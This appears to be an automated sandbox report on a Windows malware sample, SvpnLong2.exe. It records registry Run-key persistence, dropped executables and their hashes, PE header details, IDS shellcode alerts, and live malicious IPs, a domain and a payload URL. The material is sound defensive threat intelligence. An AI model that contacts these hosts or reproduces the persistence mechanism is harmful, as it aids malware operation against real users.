10:49:03	API Interceptor	2558x Sleep call for process: SvpnLong2.exe modified
10:50:54	API Interceptor	1044x Sleep call for process: arphaCrashReport64.exe modified
15:49:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run tjvefb C:\ProgramData\tusyk\arphaCrashReport64.exe
15:50:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run tjvefb C:\ProgramData\tusyk\arphaCrashReport64.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
154.82.85.193	Supe.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	Tesst_1.exe	Get hash	malicious	Unknown	Browse
	Tesst_1.exe	Get hash	malicious	Unknown	Browse
154.82.85.236	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	Tesst_1.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
	Tesst_1.exe	Get hash	malicious	Unknown	Browse	154.82.85.236:280/Test.txt
39.97.203.118	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jerryrat2024.oss-cn-beijing.aliyuncs.com	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Supe.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	SgSetup.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	SgSetup.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	#U7535#U62a5#U4e2d#U6587#U5305&7.exe	Get hash	malicious	Unknown	Browse	59.110.190.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	205.185.120.123-skid.arm5-2024-07-27T10_33_41.elf	Get hash	malicious	Mirai, Moobot	Browse	121.197.213.94
	93g0DCqh1e.elf	Get hash	malicious	Mirai	Browse	39.101.249.117
	AKPSrAWl2G.elf	Get hash	malicious	Mirai	Browse	203.119.157.98
	xd.mips.elf	Get hash	malicious	Mirai	Browse	120.26.142.189
	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	140.205.160.4
	dllhost.exe	Get hash	malicious	Bdaejec	Browse	47.104.145.79
	j1PvsLPsH2.exe	Get hash	malicious	Unknown	Browse	8.134.170.66
	j1PvsLPsH2.exe	Get hash	malicious	Unknown	Browse	8.134.170.66
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	120.26.110.170
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	120.26.110.170
ROOTNETWORKSUS	down.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	154.82.85.12
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	156.236.158.107
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	#U65b9#U6848#U7f16#U53f7FAI2-#U7b2c#U4e8c#U6279#U6b21(1).exe	Get hash	malicious	Unknown	Browse	154.82.93.122
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	Qz.exe	Get hash	malicious	Unknown	Browse	154.82.92.35
ROOTNETWORKSUS	down.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	154.82.85.12
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	Supe.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	156.236.158.107
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	#U65b9#U6848#U7f16#U53f7FAI2-#U7b2c#U4e8c#U6279#U6b21(1).exe	Get hash	malicious	Unknown	Browse	154.82.93.122
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	154.82.85.236
	Qz.exe	Get hash	malicious	Unknown	Browse	154.82.92.35

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	39.97.203.118
	rwsNDpQSKZ.exe	Get hash	malicious	LummaC	Browse	39.97.203.118
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	39.97.203.118
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	39.97.203.118
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	39.97.203.118
	NsCTgrwBjQ.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	NsCTgrwBjQ.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	39.97.203.118
	github_softwares_v1.18.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	39.97.203.118
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse	39.97.203.118

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\tusyk\arphaDump64.dll	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\tusyk\arphaCrashReport64.exe	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\tusyk\arphaCrashReport64.exe

Download File

Process:	C:\Users\user\Desktop\SvpnLong2.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	238384
Entropy (8bit):	6.278635939854228
Encrypted:	false
SSDEEP:	3072:fN9rZ5vuFomptSepjTxUPjfOgwXCtRLDya09M9EvoHmkQ/2Y8L6vVefD:rZ5qomPSeCx7tRNQjSfD
MD5:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
SHA1:	DD63C3D4ACF0CE27F71CCE44B8950180E48E36FA
SHA-256:	E743E8FAC075A379161E1736388451E0AF0FDE7DA595EA9D15EEB5140E3E8271
SHA-512:	1B4350D51C2107D0AA22EB01D64E1F1AB73C28114045C388BAF9547CC39A902C8A274A24479C7C2599F94C96F8772E438F21A2849316B5BD7F5D47C26A1E483B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Cbrome1.0.exe, Detection: malicious, Browse Filename: Supe.exe, Detection: malicious, Browse Filename: Cbrome1.0.exe, Detection: malicious, Browse Filename: Supe.exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........i...:...:...:...;...:...;)..:...;...:...;...:...;...:...;...:...;...:3..;...:...:...:3..;...:3.4:...:..\:...:3..;...:Rich...:........................PE..d......`.........."..........t......$..........@....................................j.....`..........................................................p...-...P.......h..0;......l...P...8.......................(.................... ..@............................text............................... ..`.rdata..F.... ......................@..@.data...L&... ......................@....pdata.......P......................@..@.rsrc....-...p.......2..............@..@.reloc..l............`..............@..B........................................................................................................................................................................................................................

C:\ProgramData\tusyk\arphaDump64.dll

Download File

Process:	C:\Users\user\Desktop\SvpnLong2.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199488
Entropy (8bit):	7.683305461232812
Encrypted:	false
SSDEEP:	49152:IKfnUHT6pdHDy6kwNvtazNJCF0oCY+AtClkgTePCUWk:xf1pRmWvtkJCF5Fgq6Xk
MD5:	5D165E30CDB59FDCCBD2ACE554EF3DF7
SHA1:	20344ECC0639934EB752C2F28AC2A0E37BA1852E
SHA-256:	7FCD3560EF424424DBD26B8E1BA90CA0F6198AA1D0BDA44F92CB880F4666A1F1
SHA-512:	7EF245B877C5FEB431794BE1E267845AE1E29723BDB5866B02AAEFF589EB2F6232E1A033BFEF7C711E9812939E2C931893B9D5BED862E6F6BD6101262572854A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54% Antivirus: Virustotal, Detection: 47%, Browse
Joe Sandbox View:	Filename: Cbrome1.0.exe, Detection: malicious, Browse Filename: Supe.exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h-)..Cz..Cz..Cz.[.z..Cz.[.z..Cz.[.z..Cz..8z..Cz..Bz..Cz.[.z..Cz.[.z..Cz.[.z..CzRich..Cz................PE..d...#..f.........." .......... .....4.........................................!......{!...@.....................................................(.... ... ..........f!..)....!.....P................................................................................text............................... ..`.rdata..c2.......4..................@..@.data...."..........................@....pdata..............................@..@.rsrc..... .. .... .................@..@.reloc........!......b!.............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Temp\49ba59abbe56e057.log

Download File

Process:	C:\Users\user\Desktop\SvpnLong2.exe
File Type:	data
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	F9DEBE3F07BE68533BF0295E3D2BA68A
SHA1:	1CA1B255C5C75F83BE93EF3370770B9ACE9B6427
SHA-256:	F7B586904E3678145AA47E4232587C913139CEF0102D6D8E9276FC80C35CBAD3
SHA-512:	1187551D3D26549765EAF562C32D5F8999E2961ED8A3011604A29735579711737752C63B7F11D7A6D366A7423089DDF94D954413B3EC4A19673C73F2FEB177B6
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.983808655939615
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SvpnLong2.exe
File size:	30'057'472 bytes
MD5:	553f06cf08e33d5f59e69a45458d72e0
SHA1:	3b5fac3c1b19bf320e5eafc686175c9fbe5f1176
SHA256:	cc47d665e94711b5ed3c955d966f8357fc63cc39717c859505aa6e0aeacf227c
SHA512:	7d691ac962bb65cdeb14ea1d7d26cd399acbe962ceadb1621a2bedd7bb573bb9e24e5d51627b0b7176261ab1c6800f220296f81e7b175dfbeced5f84a121e70e
SSDEEP:	786432:uMloFo1f7Zi+d4Q7t5PQ9cP36vT1AI8iddLXwIrXC15:j2FsZi+d4Q7t5P3/eAHi/znu
TLSH:	2A67336AF7B511E1D4BBC1398D527239FC32B99497396AC78E16051B8B70BE0EA3D340
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................v.......B.......O...............w.......F.......A.....Rich............PE..d...@.Df.........."......f...b.....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140016460
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6644BD40 [Wed May 15 13:48:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	a03dd07ccae7c8dff94431634a49cc27

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F589103677Ch
call 00007F589101BAE7h
dec eax
add esp, 28h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 48h
mov dword ptr [esp+28h], 00000000h
call 00007F589101BC24h
mov dword ptr [esp+24h], eax
call 00007F5891037D8Bh
test eax, eax
jne 00007F589101BADCh
mov ecx, 0000001Ch
call 00007F589101BBDDh
call 00007F589101BD38h
test eax, eax
jne 00007F589101BADCh
mov ecx, 00000010h
call 00007F589101BBCAh
mov ecx, 00000001h
call 00007F5891029020h
call 00007F5891037CDBh
nop
call 00007F5891037535h
test eax, eax
jnl 00007F589101BADCh
mov ecx, 0000001Bh
call 00007F589102AC77h
call dword ptr [00086FA4h]
dec eax
mov dword ptr [00080EDDh], eax
call 00007F58910373A5h
dec eax
mov dword ptr [0007E5D9h], eax
call 00007F5891036D69h
test eax, eax
jnl 00007F589101BADCh
mov ecx, 00000008h
call 00007F589102AC4Bh
call 00007F5891036B46h
test eax, eax
jnl 00007F589101BADCh
mov ecx, 00000009h
call 00007F589102AC38h
mov ecx, 00000001h
call 00007F589102AAFEh

Rich Headers

Programming Language:

[ C ] VS2010 build 30319
[ASM] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9d000	0x28	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9e000	0x1c10aac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x98000	0x44b8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1caf000	0x52c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9d3d0	0x3a8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x76572	0x76600	1975eb1fbeb29b6b84e8ea1d71b0e9cb	False	0.2737283031942978	data	5.054828699744769	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x78000	0x1a4ac	0x1a600	f1c9ec8c8eabbfb87aefe708d6ee6018	False	0.1985522808056872	data	3.606024759409487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x93000	0x43d9	0x1c00	175e3bb51df16f9950c8e905366505f4	False	0.13155691964285715	data	2.022782151062369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x98000	0x4cbc	0x4e00	ece9321e06617173becf64503f6e1cf7	False	0.4348457532051282	data	5.257878625439126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x9d000	0xf84	0x1000	e2b8c87e59f45f26bcf3a9a278e3166c	False	0.28759765625	data	3.843265003318042	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x9e000	0x1c11000	0x1c10c00	a519c6bc1407ed280b5bed2166a60e10	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1caf000	0xc40	0xe00	981ae551cd02775e87f1855c4a69a105	False	0.23688616071428573	data	2.705935616002391	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
FLAC	0x9e0dc	0x1c1082b	FLAC audio bitstream data, 16 bit, stereo, 44.1 kHz, 13173697 samples			0.9876413345336914
RT_MANIFEST	0x1cae908	0x1a1	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.5755395683453237

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CreateMutexA, Sleep, GetProcAddress, LoadLibraryW, CopyFileExA, DeleteFileA, GetModuleHandleA, GetSystemTimeAsFileTime, RtlLookupFunctionEntry, RtlUnwindEx, RaiseException, RtlPcToFileHeader, DecodePointer, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, RtlCaptureContext, EncodePointer, GetModuleFileNameW, GetCommandLineA, FlsGetValue, FlsSetValue, GetCurrentThreadId, FlsAlloc, FlsFree, SetLastError, GetLastError, GetCurrentThread, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, LCMapStringW, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, FatalAppExitA, HeapSize, HeapValidate, IsBadReadPtr, GetStdHandle, WriteFile, OutputDebugStringA, WriteConsoleW, GetFileType, OutputDebugStringW, GetModuleHandleW, ExitProcess, SetConsoleCtrlHandler, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetModuleFileNameA, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetStartupInfoW, HeapSetInformation, GetVersion, HeapCreate, HeapDestroy, HeapFree, HeapAlloc, GetProcessHeap, VirtualQuery, FreeLibrary, GetStringTypeW, GetLocaleInfoA, IsValidLocale, EnumSystemLocalesA, GetUserDefaultLCID, GetLocaleInfoW, HeapReAlloc, HeapQueryInformation, SetFilePointer, GetConsoleCP, GetConsoleMode, SetStdHandle, CreateFileW, FlushFileBuffers, InitializeCriticalSection

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T16:50:02.789176+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	9000	49742	154.82.85.193	192.168.2.4
2024-07-27T16:49:20.936213+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49732	40.68.123.157	192.168.2.4
2024-07-27T16:49:59.309862+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49741	40.68.123.157	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 16:49:02.863173962 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:49:02.868402958 CEST	280	49730	154.82.85.236	192.168.2.4
Jul 27, 2024 16:49:02.873050928 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:49:02.873826027 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:49:02.881685972 CEST	280	49730	154.82.85.236	192.168.2.4
Jul 27, 2024 16:49:03.767716885 CEST	280	49730	154.82.85.236	192.168.2.4
Jul 27, 2024 16:49:03.809777975 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:49:04.051084995 CEST	280	49730	154.82.85.236	192.168.2.4
Jul 27, 2024 16:49:04.106612921 CEST	49730	280	192.168.2.4	154.82.85.236
Jul 27, 2024 16:49:04.221735001 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:04.227159023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:04.227371931 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:04.227371931 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:04.232376099 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.159104109 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.159118891 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.159127951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.159133911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.159143925 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.159307957 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.200344086 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.383667946 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.383682966 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.383692980 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.383790970 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.383801937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.383810997 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.383821011 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.383820057 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.383832932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.383845091 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.384124994 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.859555006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859566927 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859575987 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859584093 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859594107 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859601974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859611988 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859746933 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.859746933 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.859848022 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859858036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859867096 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859875917 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859885931 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859895945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.859905005 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.859936953 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.859936953 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.860358953 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.860413074 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.863761902 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.863945961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.863943100 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:05.863955975 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.863960981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.863965034 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.863970041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.863974094 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.863979101 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.863982916 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.863989115 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:05.864206076 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:06.308294058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.308826923 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.308835983 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.308840036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.308877945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.308887005 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.308895111 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.308904886 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.309027910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.309027910 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:06.309027910 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:06.309027910 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:49:06.309036016 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.309045076 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.309053898 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.309063911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.309073925 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.309082985 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:49:06.309094906 CEST	9000	49731	154.82.85.193	192.168.2.4
